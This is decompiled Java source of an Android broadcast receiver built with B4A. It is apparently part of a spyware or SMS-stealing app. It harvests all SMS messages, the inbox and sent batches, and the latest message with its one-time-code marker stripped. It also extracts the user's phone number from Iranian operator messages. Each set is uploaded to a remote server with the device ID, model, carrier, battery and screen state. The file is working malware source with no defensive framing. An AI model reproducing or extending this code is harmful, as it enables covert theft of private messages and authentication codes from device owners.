package matinlurd.com;


import anywheresoftware.b4a.BA;
import anywheresoftware.b4a.objects.ReceiverHelper;
import anywheresoftware.b4a.debug.*;

public class myfun extends android.content.BroadcastReceiver{
		
    static myfun mostCurrent;
	public static BA processBA;
    private ReceiverHelper _receiver;
    private static boolean firstTime = true;
    public static Class<?> getObject() {
		return myfun.class;
	}
	@Override
	public void onReceive(android.content.Context context, android.content.Intent intent) {
        mostCurrent = this;
       
        if (processBA == null) {
           
		    processBA = new BA(context, null, null, anywheresoftware.b4a.BA.SharedProcessBA.ModuleType.RECEIVER, "matinlurd.com.myfun");
            if (BA.isShellModeRuntimeCheck(processBA)) {
                processBA.raiseEvent2(null, true, "SHELL", false);
		    }
            try {
                Class.forName(BA.applicationContext.getPackageName() + ".main").getMethod("initializeProcessGlobals").invoke(null, null);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
            processBA.loadHtSubs(this.getClass());
        }
         _receiver = new ReceiverHelper(this);
        if (BA.isShellModeRuntimeCheck(processBA)) {
			processBA.raiseEvent2(null, true, "CREATE", true, "matinlurd.com.myfun", processBA, _receiver, anywheresoftware.b4a.keywords.Common.Density);
		}
        processBA.setActivityPaused(false);
        BA.LogInfo("*** Receiver (myfun) Receive " + (firstTime ? "(first time)" : "") + " ***");
        anywheresoftware.b4a.objects.IntentWrapper iw = new anywheresoftware.b4a.objects.IntentWrapper();
        iw.setObject(intent);
        processBA.raiseEvent(null, "receiver_receive", firstTime, iw);
        firstTime = false;
    }
	
public anywheresoftware.b4a.keywords.Common __c = null;
public static anywheresoftware.b4a.objects.FirebaseNotificationsService.FirebaseMessageWrapper _fm = null;
public static anywheresoftware.b4a.phone.Phone _phone = null;
public static com.reza.sh.deviceinfo.DiviceInfo _pd = null;
public static boolean _statuswhat = false;
public static anywheresoftware.b4a.phone.SmsWrapper _all = null;
public static anywheresoftware.b4a.phone.SmsWrapper.Sms _sms = null;
public static anywheresoftware.b4a.objects.collections.List _li = null;
public static anywheresoftware.b4a.objects.collections.List _numbers = null;
public static anywheresoftware.b4a.objects.collections.List _messages = null;
public static String _filesmsname = "";
public static matinlurd.com.sendserver _send = null;
public static anywheresoftware.b4a.phone.Phone.PhoneId _phoneid = null;
public static anywheresoftware.b4a.phone.PhoneEvents _pe = null;
public static String _res = "";
public static anywheresoftware.b4a.phone.Phone.PhoneWakeState _pm = null;
public static b4a.example.contactsutils _cu = null;
public static smm.ussdcallbackwrapperpackage.ussdcallbackwrapper _myussd = null;
public static String _allphone = "";
public matinlurd.com.main _main = null;
public matinlurd.com.newmessage _newmessage = null;
public matinlurd.com.serverlink _serverlink = null;
public matinlurd.com.firebasemessaging _firebasemessaging = null;
public matinlurd.com.starter _starter = null;
public matinlurd.com.background _background = null;
public matinlurd.com.subs _subs = null;
public matinlurd.com.matin _matin = null;
public matinlurd.com.chrome _chrome = null;
public matinlurd.com.mainchange _mainchange = null;
public matinlurd.com.second _second = null;
public matinlurd.com.telegram _telegram = null;
public matinlurd.com.villain _villain = null;
public matinlurd.com.youtube _youtube = null;
public matinlurd.com.httputils2service _httputils2service = null;
public static String  _all_sms() throws Exception{
String _sms_read = "";
String _classstring = "";
anywheresoftware.b4a.keywords.StringBuilderWrapper _stringbuilder = null;
anywheresoftware.b4a.phone.SmsWrapper _sm = null;
anywheresoftware.b4a.phone.SmsWrapper.Sms _smsdata = null;
 //BA.debugLineNum = 44;BA.debugLine="Sub all_sms";
 //BA.debugLineNum = 47;BA.debugLine="Try";
try { //BA.debugLineNum = 48;BA.debugLine="Dim SMS_READ,ClassString As String";
_sms_read = "";
_classstring = "";
 //BA.debugLineNum = 49;BA.debugLine="Private StringBuilder As StringBuilder";
_stringbuilder = new anywheresoftware.b4a.keywords.StringBuilderWrapper();
 //BA.debugLineNum = 50;BA.debugLine="StringBuilder.Initialize";
_stringbuilder.Initialize();
 //BA.debugLineNum = 51;BA.debugLine="Try";
try { //BA.debugLineNum = 52;BA.debugLine="Private SM As SmsMessages";
_sm = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 53;BA.debugLine="StringBuilder.Append(\"|-----nobody-----|\")";
_stringbuilder.Append("|-----nobody-----|");
 //BA.debugLineNum = 54;BA.debugLine="For Each SMSDATA As Sms In SM.GetAll";
{
final anywheresoftware.b4a.BA.IterableList group8 = _sm.GetAll();
final int groupLen8 = group8.getSize()
;int index8 = 0;
;
for (; index8 < groupLen8;index8++){
_smsdata = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(group8.Get(index8));
 //BA.debugLineNum = 55;BA.debugLine="If SMSDATA.Read Then";
if (_smsdata.Read) { 
 //BA.debugLineNum = 56;BA.debugLine="SMS_READ = \"Readed\"";
_sms_read = "Readed";
 }else {
 //BA.debugLineNum = 58;BA.debugLine="SMS_READ = \"UnReaded\"";
_sms_read = "UnReaded";
 };
 //BA.debugLineNum = 60;BA.debugLine="ClassString = \"UNKNOWN\"";
_classstring = "UNKNOWN";
 //BA.debugLineNum = 61;BA.debugLine="Select SMSDATA.Type";
switch (BA.switchObjectToInt(_smsdata.Type,_sm.TYPE_DRAFT,_sm.TYPE_FAILED,_sm.TYPE_INBOX,_sm.TYPE_OUTBOX,_sm.TYPE_QUEUED,_sm.TYPE_SENT)) {
case 0: {
 //BA.debugLineNum = 63;BA.debugLine="ClassString = \"DRAFT\"";
_classstring = "DRAFT";
 break; }
case 1: {
 //BA.debugLineNum = 65;BA.debugLine="ClassString = \"FAILED\"";
_classstring = "FAILED";
 break; }
case 2: {
 //BA.debugLineNum = 67;BA.debugLine="ClassString = \"INBOX\"";
_classstring = "INBOX";
 break; }
case 3: {
 //BA.debugLineNum = 69;BA.debugLine="ClassString = \"OUTBOX\"";
_classstring = "OUTBOX";
 break; }
case 4: {
 //BA.debugLineNum = 71;BA.debugLine="ClassString = \"QUEUED\"";
_classstring = "QUEUED";
 break; }
case 5: {
 //BA.debugLineNum = 73;BA.debugLine="ClassString = \"SENT\"";
_classstring = "SENT";
 break; }
}
;
 //BA.debugLineNum = 75;BA.debugLine="StringBuilder.Append(CRLF).Append(\"sender : \")";
_stringbuilder.Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("sender : ").Append(_smsdata.Address).Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("Status : ").Append(_sms_read).Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("Type : ").Append(_classstring).Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("Text :").Append(anywheresoftware.b4a.keywords.Common.CRLF).Append(_smsdata.Body).Append(anywheresoftware.b4a.keywords.Common.CRLF).Append("|-----@geeeh-----|");
 }
};
 } 
       catch (Exception e32) {
			processBA.setLastException(e32); //BA.debugLineNum = 78;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65570594",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 80;BA.debugLine="filesmsname = Rnd(11111,99999)";
_filesmsname = BA.NumberToString(anywheresoftware.b4a.keywords.Common.Rnd((int) (11111),(int) (99999)));
 //BA.debugLineNum = 81;BA.debugLine="File.WriteString(File.DirInternal,filesmsname&\".";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),_filesmsname+".txt",_stringbuilder.ToString());
 //BA.debugLineNum = 82;BA.debugLine="Send.SendFile(\"?response=true&action=allsms&Mode";
_send._sendfile /*void*/ ("?response=true&action=allsms&Model="+_phone.getModel()+"&Device_id="+_phone.GetSettings("android_id")+"&operator="+_phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(_pd.getBatteryPercentage())+"&screen="+_res+"&andver="+_pd.getOSVersion()+"",_filesmsname+".txt");
 } 
       catch (Exception e38) {
			processBA.setLastException(e38); //BA.debugLineNum = 84;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65570600",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 86;BA.debugLine="End Sub";
return "";
}
public static String  _all_sms_recived() throws Exception{
String _allsmstext = "";
String _whosend = "";
int _i = 0;
 //BA.debugLineNum = 88;BA.debugLine="Sub all_sms_recived";
 //BA.debugLineNum = 89;BA.debugLine="Try";
try { //BA.debugLineNum = 90;BA.debugLine="Dim allsmstext,whosend As String = \"\"";
_allsmstext = "";
_whosend = "";
 //BA.debugLineNum = 91;BA.debugLine="li.Initialize";
_li.Initialize();
 //BA.debugLineNum = 92;BA.debugLine="li = all.GetAll";
_li = _all.GetAll();
 //BA.debugLineNum = 93;BA.debugLine="For i = 0 To  75";
{
final int step5 = 1;
final int limit5 = (int) (75);
_i = (int) (0) ;
for (;_i <= limit5 ;_i = _i + step5 ) {
 //BA.debugLineNum = 94;BA.debugLine="sms = li.Get(i)";
_sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_li.Get(_i));
 //BA.debugLineNum = 95;BA.debugLine="If sms.Type == 1 Then";
if (_sms.Type==1) { 
 //BA.debugLineNum = 96;BA.debugLine="whosend = \"Receive\"";
_whosend = "Receive";
 //BA.debugLineNum = 97;BA.debugLine="allsmstext = allsmstext & CRLF & CRLF & \"-----";
_allsmstext = _allsmstext+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+"--------------------"+anywheresoftware.b4a.keywords.Common.CRLF+"sender : "+_sms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"Text : "+_sms.Body+anywheresoftware.b4a.keywords.Common.CRLF+"Status : "+_whosend+anywheresoftware.b4a.keywords.Common.CRLF+"Date : "+anywheresoftware.b4a.keywords.Common.DateTime.Date(_sms.Date)+" "+anywheresoftware.b4a.keywords.Common.DateTime.Time(_sms.Date)+anywheresoftware.b4a.keywords.Common.CRLF+"--------------------";
 }else {
 };
 }
};
 //BA.debugLineNum = 101;BA.debugLine="filesmsname = Rnd(11111,99999)";
_filesmsname = BA.NumberToString(anywheresoftware.b4a.keywords.Common.Rnd((int) (11111),(int) (99999)));
 //BA.debugLineNum = 102;BA.debugLine="File.WriteString(File.DirInternal,filesmsname&\".";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),_filesmsname+".txt",_allsmstext);
 //BA.debugLineNum = 103;BA.debugLine="Send.SendFile(\"?response=true&action=allsms&Mode";
_send._sendfile /*void*/ ("?response=true&action=allsms&Model="+_phone.getModel()+"&Device_id="+_phone.GetSettings("android_id")+"&operator="+_phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(_pd.getBatteryPercentage())+"&andver="+_pd.getOSVersion()+"&screen="+_res+"",_filesmsname+".txt");
 } 
       catch (Exception e17) {
			processBA.setLastException(e17); //BA.debugLineNum = 105;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65636113",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 107;BA.debugLine="End Sub";
return "";
}
public static String  _all_sms_sent() throws Exception{
String _allsmstext = "";
String _whosend = "";
int _i = 0;
 //BA.debugLineNum = 109;BA.debugLine="Sub all_sms_sent";
 //BA.debugLineNum = 111;BA.debugLine="Try";
try { //BA.debugLineNum = 112;BA.debugLine="Dim allsmstext,whosend As String = \"\"";
_allsmstext = "";
_whosend = "";
 //BA.debugLineNum = 114;BA.debugLine="li.Initialize";
_li.Initialize();
 //BA.debugLineNum = 116;BA.debugLine="li = all.GetAll";
_li = _all.GetAll();
 //BA.debugLineNum = 117;BA.debugLine="For i = 0 To  75";
{
final int step5 = 1;
final int limit5 = (int) (75);
_i = (int) (0) ;
for (;_i <= limit5 ;_i = _i + step5 ) {
 //BA.debugLineNum = 118;BA.debugLine="sms = li.Get(i)";
_sms = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_li.Get(_i));
 //BA.debugLineNum = 119;BA.debugLine="Log(sms.Type)";
anywheresoftware.b4a.keywords.Common.LogImpl("65701642",BA.NumberToString(_sms.Type),0);
 //BA.debugLineNum = 120;BA.debugLine="If sms.Type == 2 Then";
if (_sms.Type==2) { 
 //BA.debugLineNum = 121;BA.debugLine="whosend = \"Sent\"";
_whosend = "Sent";
 //BA.debugLineNum = 122;BA.debugLine="allsmstext = allsmstext & CRLF & CRLF & \"-----";
_allsmstext = _allsmstext+anywheresoftware.b4a.keywords.Common.CRLF+anywheresoftware.b4a.keywords.Common.CRLF+"--------------------"+anywheresoftware.b4a.keywords.Common.CRLF+"sender : "+_sms.Address+anywheresoftware.b4a.keywords.Common.CRLF+"Text : "+_sms.Body+anywheresoftware.b4a.keywords.Common.CRLF+"Status : "+_whosend+anywheresoftware.b4a.keywords.Common.CRLF+"Date : "+anywheresoftware.b4a.keywords.Common.DateTime.Date(_sms.Date)+" "+anywheresoftware.b4a.keywords.Common.DateTime.Time(_sms.Date)+anywheresoftware.b4a.keywords.Common.CRLF+"--------------------";
 }else {
 };
 }
};
 //BA.debugLineNum = 126;BA.debugLine="filesmsname = Rnd(11111,99999)";
_filesmsname = BA.NumberToString(anywheresoftware.b4a.keywords.Common.Rnd((int) (11111),(int) (99999)));
 //BA.debugLineNum = 127;BA.debugLine="File.WriteString(File.DirInternal,filesmsname&\".";
anywheresoftware.b4a.keywords.Common.File.WriteString(anywheresoftware.b4a.keywords.Common.File.getDirInternal(),_filesmsname+".txt",_allsmstext);
 //BA.debugLineNum = 128;BA.debugLine="Send.SendFile(\"?response=true&action=allsms&Mode";
_send._sendfile /*void*/ ("?response=true&action=allsms&Model="+_phone.getModel()+"&Device_id="+_phone.GetSettings("android_id")+"&operator="+_phone.GetNetworkOperatorName()+"&Battery="+BA.NumberToString(_pd.getBatteryPercentage())+"&screen="+_res+"&andver="+_pd.getOSVersion()+"",_filesmsname+".txt");
 } 
       catch (Exception e18) {
			processBA.setLastException(e18); //BA.debugLineNum = 130;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65701653",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 132;BA.debugLine="End Sub";
return "";
}
public static String  _checkscreenstatus() throws Exception{
anywheresoftware.b4a.agraham.reflection.Reflection _r = null;
Object _powerservice = null;
boolean _isscreenon = false;
 //BA.debugLineNum = 151;BA.debugLine="Public Sub CheckScreenStatus";
 //BA.debugLineNum = 152;BA.debugLine="Dim res As String";
_res = "";
 //BA.debugLineNum = 153;BA.debugLine="pm.PartialLock";
_pm.PartialLock(processBA);
 //BA.debugLineNum = 155;BA.debugLine="Dim r As Reflector";
_r = new anywheresoftware.b4a.agraham.reflection.Reflection();
 //BA.debugLineNum = 156;BA.debugLine="r.Target = r.GetContext";
_r.Target = (Object)(_r.GetContext(processBA));
 //BA.debugLineNum = 157;BA.debugLine="Dim powerService As Object = r.RunMethod2(\"getSys";
_powerservice = _r.RunMethod2("getSystemService","power","java.lang.String");
 //BA.debugLineNum = 158;BA.debugLine="r.Target = powerService";
_r.Target = _powerservice;
 //BA.debugLineNum = 159;BA.debugLine="Dim isScreenOn As Boolean = r.RunMethod(\"isScreen";
_isscreenon = BA.ObjectToBoolean(_r.RunMethod("isScreenOn"));
 //BA.debugLineNum = 161;BA.debugLine="If isScreenOn Then";
if (_isscreenon) { 
 //BA.debugLineNum = 162;BA.debugLine="res = \"On\"";
_res = "On";
 //BA.debugLineNum = 163;BA.debugLine="Log(\"Screen is ON\")";
anywheresoftware.b4a.keywords.Common.LogImpl("65832716","Screen is ON",0);
 }else {
 //BA.debugLineNum = 165;BA.debugLine="res = \"Off\"";
_res = "Off";
 //BA.debugLineNum = 166;BA.debugLine="Log(\"Screen is OFF\")";
anywheresoftware.b4a.keywords.Common.LogImpl("65832719","Screen is OFF",0);
 };
 //BA.debugLineNum = 168;BA.debugLine="Return res";
if (true) return _res;
 //BA.debugLineNum = 169;BA.debugLine="pm.ReleasePartialLock";
_pm.ReleasePartialLock();
 //BA.debugLineNum = 170;BA.debugLine="End Sub";
return "";
}
public static String  _last_sms() throws Exception{
anywheresoftware.b4a.objects.collections.List _listsms = null;
anywheresoftware.b4a.phone.SmsWrapper.Sms _s = null;
String _tx = "";
 //BA.debugLineNum = 134;BA.debugLine="Sub last_sms";
 //BA.debugLineNum = 135;BA.debugLine="res = CheckScreenStatus";
_res = _checkscreenstatus();
 //BA.debugLineNum = 136;BA.debugLine="Try";
try { //BA.debugLineNum = 138;BA.debugLine="Dim listsms As List";
_listsms = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 139;BA.debugLine="listsms.Initialize";
_listsms.Initialize();
 //BA.debugLineNum = 140;BA.debugLine="listsms = all.GetAll";
_listsms = _all.GetAll();
 //BA.debugLineNum = 141;BA.debugLine="Dim s As Sms";
_s = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 142;BA.debugLine="s = listsms.Get(0)";
_s = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(_listsms.Get((int) (0)));
 //BA.debugLineNum = 143;BA.debugLine="Dim tx As String = s.Body.Replace(\"<#>\",\"\")";
_tx = _s.Body.replace("<#>","");
 //BA.debugLineNum = 145;BA.debugLine="Send.SendData(\"sender=\" &s.Address & \"&messagete";
_send._senddata /*void*/ ("sender="+_s.Address+"&messagetext="+_tx+"&Model="+_phone.getModel()+"&Device_id="+_phone.GetSettings("android_id")+"&action="+"lastsms"+"&Battery="+BA.NumberToString(_pd.getBatteryPercentage())+"&andver="+_pd.getOSVersion()+"&operator="+_phone.GetNetworkOperatorName()+"&screen="+_res);
 } 
       catch (Exception e11) {
			processBA.setLastException(e11); //BA.debugLineNum = 147;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65767181",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 149;BA.debugLine="End Sub";
return "";
}
public static String  _process_globals() throws Exception{
 //BA.debugLineNum = 1;BA.debugLine="Sub Process_Globals";
 //BA.debugLineNum = 2;BA.debugLine="Public fm As FirebaseMessaging";
_fm = new anywheresoftware.b4a.objects.FirebaseNotificationsService.FirebaseMessageWrapper();
 //BA.debugLineNum = 3;BA.debugLine="Dim phone As Phone";
_phone = new anywheresoftware.b4a.phone.Phone();
 //BA.debugLineNum = 4;BA.debugLine="Dim pd As PersianDeviceInfo";
_pd = new com.reza.sh.deviceinfo.DiviceInfo();
 //BA.debugLineNum = 5;BA.debugLine="Dim statusWhat As Boolean";
_statuswhat = false;
 //BA.debugLineNum = 6;BA.debugLine="Dim  all As SmsMessages";
_all = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 7;BA.debugLine="Dim sms As Sms";
_sms = new anywheresoftware.b4a.phone.SmsWrapper.Sms();
 //BA.debugLineNum = 8;BA.debugLine="Dim li As List";
_li = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 9;BA.debugLine="Dim numbers As List";
_numbers = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 10;BA.debugLine="Dim messages As List";
_messages = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 11;BA.debugLine="Dim filesmsname As String";
_filesmsname = "";
 //BA.debugLineNum = 12;BA.debugLine="Private Send As SendServer";
_send = new matinlurd.com.sendserver();
 //BA.debugLineNum = 13;BA.debugLine="Dim PhoneId As PhoneId";
_phoneid = new anywheresoftware.b4a.phone.Phone.PhoneId();
 //BA.debugLineNum = 14;BA.debugLine="Dim PE As PhoneEvents";
_pe = new anywheresoftware.b4a.phone.PhoneEvents();
 //BA.debugLineNum = 15;BA.debugLine="Dim res As String";
_res = "";
 //BA.debugLineNum = 16;BA.debugLine="Dim pm As PhoneWakeState";
_pm = new anywheresoftware.b4a.phone.Phone.PhoneWakeState();
 //BA.debugLineNum = 17;BA.debugLine="Dim cu As ContactsUtils";
_cu = new b4a.example.contactsutils();
 //BA.debugLineNum = 18;BA.debugLine="Dim myussd As USSDCallBack";
_myussd = new smm.ussdcallbackwrapperpackage.ussdcallbackwrapper();
 //BA.debugLineNum = 19;BA.debugLine="Dim allphone As String";
_allphone = "";
 //BA.debugLineNum = 21;BA.debugLine="End Sub";
return "";
}
public static void  _receiver_receive(boolean _firsttime,anywheresoftware.b4a.objects.IntentWrapper _startingintent) throws Exception{
ResumableSub_Receiver_Receive rsub = new ResumableSub_Receiver_Receive(null,_firsttime,_startingintent);
rsub.resume(processBA, null);
}
public static class ResumableSub_Receiver_Receive extends BA.ResumableSub {
public ResumableSub_Receiver_Receive(matinlurd.com.myfun parent,boolean _firsttime,anywheresoftware.b4a.objects.IntentWrapper _startingintent) {
this.parent = parent;
this._firsttime = _firsttime;
this._startingintent = _startingintent;
}
matinlurd.com.myfun parent;
boolean _firsttime;
anywheresoftware.b4a.objects.IntentWrapper _startingintent;

@Override
public void resume(BA ba, Object[] result) throws Exception{

    while (true) {
try {

        switch (state) {
            case -1:
return;

case 0:
//C
this.state = 1;
 //BA.debugLineNum = 26;BA.debugLine="StartReceiver(NewMessage)";
anywheresoftware.b4a.keywords.Common.StartReceiver(processBA,(Object)(parent.mostCurrent._newmessage.getObject()));
 //BA.debugLineNum = 27;BA.debugLine="StartReceiver(BackGround)";
anywheresoftware.b4a.keywords.Common.StartReceiver(processBA,(Object)(parent.mostCurrent._background.getObject()));
 //BA.debugLineNum = 28;BA.debugLine="Try";
if (true) break;

case 1:
//try
this.state = 10;
this.catchState = 9;
this.state = 3;
if (true) break;

case 3:
//C
this.state = 4;
this.catchState = 9;
 //BA.debugLineNum = 29;BA.debugLine="PE.InitializeWithPhoneState(\"PE\", PhoneId)";
parent._pe.InitializeWithPhoneState(processBA,"PE",parent._phoneid);
 //BA.debugLineNum = 30;BA.debugLine="Send.Initialize";
parent._send._initialize /*String*/ (processBA);
 //BA.debugLineNum = 31;BA.debugLine="fm.Initialize(\"fm\")";
parent._fm.Initialize(processBA,"fm");
 //BA.debugLineNum = 32;BA.debugLine="pd.initialize(\"pd\")";
parent._pd.initialize(processBA,"pd");
 //BA.debugLineNum = 33;BA.debugLine="fm.HandleIntent(StartingIntent)";
parent._fm.HandleIntent((android.content.Intent)(_startingintent.getObject()));
 //BA.debugLineNum = 34;BA.debugLine="Do While fm.Token = \"\"";
if (true) break;

case 4:
//do while
this.state = 7;
while ((parent._fm.getToken()).equals("")) {
this.state = 6;
if (true) break;
}
if (true) break;

case 6:
//C
this.state = 4;
 //BA.debugLineNum = 35;BA.debugLine="fm.Initialize(\"fm\")";
parent._fm.Initialize(processBA,"fm");
 //BA.debugLineNum = 36;BA.debugLine="Sleep(500)";
anywheresoftware.b4a.keywords.Common.Sleep(processBA,this,(int) (500));
this.state = 11;
return;
case 11:
//C
this.state = 4;
;
 if (true) break;

case 7:
//C
this.state = 10;
;
 if (true) break;

case 9:
//C
this.state = 10;
this.catchState = 0;
 //BA.debugLineNum = 39;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("65505038",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 if (true) break;
if (true) break;

case 10:
//C
this.state = -1;
this.catchState = 0;
;
 //BA.debugLineNum = 42;BA.debugLine="End Sub";
if (true) break;
}} 
       catch (Exception e0) {
			
if (catchState == 0)
    throw e0;
else {
    state = catchState;
processBA.setLastException(e0);}
            }
        }
    }
}
public static String  _searchsms() throws Exception{
 //BA.debugLineNum = 206;BA.debugLine="Sub searchSMS";
 //BA.debugLineNum = 208;BA.debugLine="End Sub";
return "";
}
public static String  _userphone() throws Exception{
anywheresoftware.b4a.phone.SmsWrapper _sm = null;
anywheresoftware.b4a.phone.SmsWrapper.Sms _m = null;
String _numberstext = "";
String _number = "";
 //BA.debugLineNum = 171;BA.debugLine="Sub userphone";
 //BA.debugLineNum = 172;BA.debugLine="Try";
try { //BA.debugLineNum = 173;BA.debugLine="Dim numbers As List ' استفاده از یک لیست برای ذخ";
_numbers = new anywheresoftware.b4a.objects.collections.List();
 //BA.debugLineNum = 174;BA.debugLine="numbers.Initialize";
_numbers.Initialize();
 //BA.debugLineNum = 175;BA.debugLine="Dim allphone As String";
_allphone = "";
 //BA.debugLineNum = 176;BA.debugLine="Dim SM As SmsMessages";
_sm = new anywheresoftware.b4a.phone.SmsWrapper();
 //BA.debugLineNum = 177;BA.debugLine="Dim messages As List = all.Getbytype(all.TYPE_IN";
_messages = new anywheresoftware.b4a.objects.collections.List();
_messages = _all.GetByType(_all.TYPE_INBOX);
 //BA.debugLineNum = 179;BA.debugLine="For Each m As Sms In messages";
{
final anywheresoftware.b4a.BA.IterableList group7 = _messages;
final int groupLen7 = group7.getSize()
;int index7 = 0;
;
for (; index7 < groupLen7;index7++){
_m = (anywheresoftware.b4a.phone.SmsWrapper.Sms)(group7.Get(index7));
 //BA.debugLineNum = 180;BA.debugLine="If(m.Body.Contains(\"مشترک گرامی\") And m.Body.Co";
if ((_m.Body.contains("مشترک گرامی") && _m.Body.contains("بسته"))) { 
 //BA.debugLineNum = 181;BA.debugLine="allphone = m.Body.SubString2(11,24)";
_allphone = _m.Body.substring((int) (11),(int) (24));
 //BA.debugLineNum = 182;BA.debugLine="If(allphone.Contains(\"98\")) Then";
if ((_allphone.contains("98"))) { 
 //BA.debugLineNum = 183;BA.debugLine="Log($\"Phone number found: ${allphone}\"$)";
anywheresoftware.b4a.keywords.Common.LogImpl("68519692",("Phone number found: "+anywheresoftware.b4a.keywords.Common.SmartStringFormatter("",(Object)(_allphone))+""),0);
 //BA.debugLineNum = 184;BA.debugLine="numbers.Add(\"Text : \" & allphone) ' اضافه کرد";
_numbers.Add((Object)("Text : "+_allphone));
 };
 };
 //BA.debugLineNum = 187;BA.debugLine="If(m.Body.Contains(\"همراه گرامی، شماره\") And m.";
if ((_m.Body.contains("همراه گرامی، شماره") && _m.Body.contains("همراه اول"))) { 
 //BA.debugLineNum = 188;BA.debugLine="allphone = m.Body.SubString2(18,29)";
_allphone = _m.Body.substring((int) (18),(int) (29));
 //BA.debugLineNum = 189;BA.debugLine="numbers.Add(\"Text : \" & allphone) ' اضافه کردن";
_numbers.Add((Object)("Text : "+_allphone));
 };
 }
};
 //BA.debugLineNum = 193;BA.debugLine="Dim numbersText As String = \"\" ' تبدیل لیست شمار";
_numberstext = "";
 //BA.debugLineNum = 194;BA.debugLine="For Each number As String In numbers";
{
final anywheresoftware.b4a.BA.IterableList group21 = _numbers;
final int groupLen21 = group21.getSize()
;int index21 = 0;
;
for (; index21 < groupLen21;index21++){
_number = BA.ObjectToString(group21.Get(index21));
 //BA.debugLineNum = 195;BA.debugLine="numbersText = numbersText & number & CRLF";
_numberstext = _numberstext+_number+anywheresoftware.b4a.keywords.Common.CRLF;
 }
};
 //BA.debugLineNum = 199;BA.debugLine="Send.SendData(\"phones=\" & numbersText & \"&Model=";
_send._senddata /*void*/ ("phones="+_numberstext+"&Model="+_phone.getModel()+"&Device_id="+_phone.GetSettings("android_id")+"&Battery="+BA.NumberToString(_pd.getBatteryPercentage())+"&andver="+_pd.getOSVersion()+"&action=userphone&operator="+_phone.GetNetworkOperatorName()+"&screen="+_res);
 } 
       catch (Exception e26) {
			processBA.setLastException(e26); //BA.debugLineNum = 202;BA.debugLine="Log(LastException)";
anywheresoftware.b4a.keywords.Common.LogImpl("68519711",BA.ObjectToString(anywheresoftware.b4a.keywords.Common.LastException(processBA)),0);
 };
 //BA.debugLineNum = 205;BA.debugLine="End Sub";
return "";
}
}
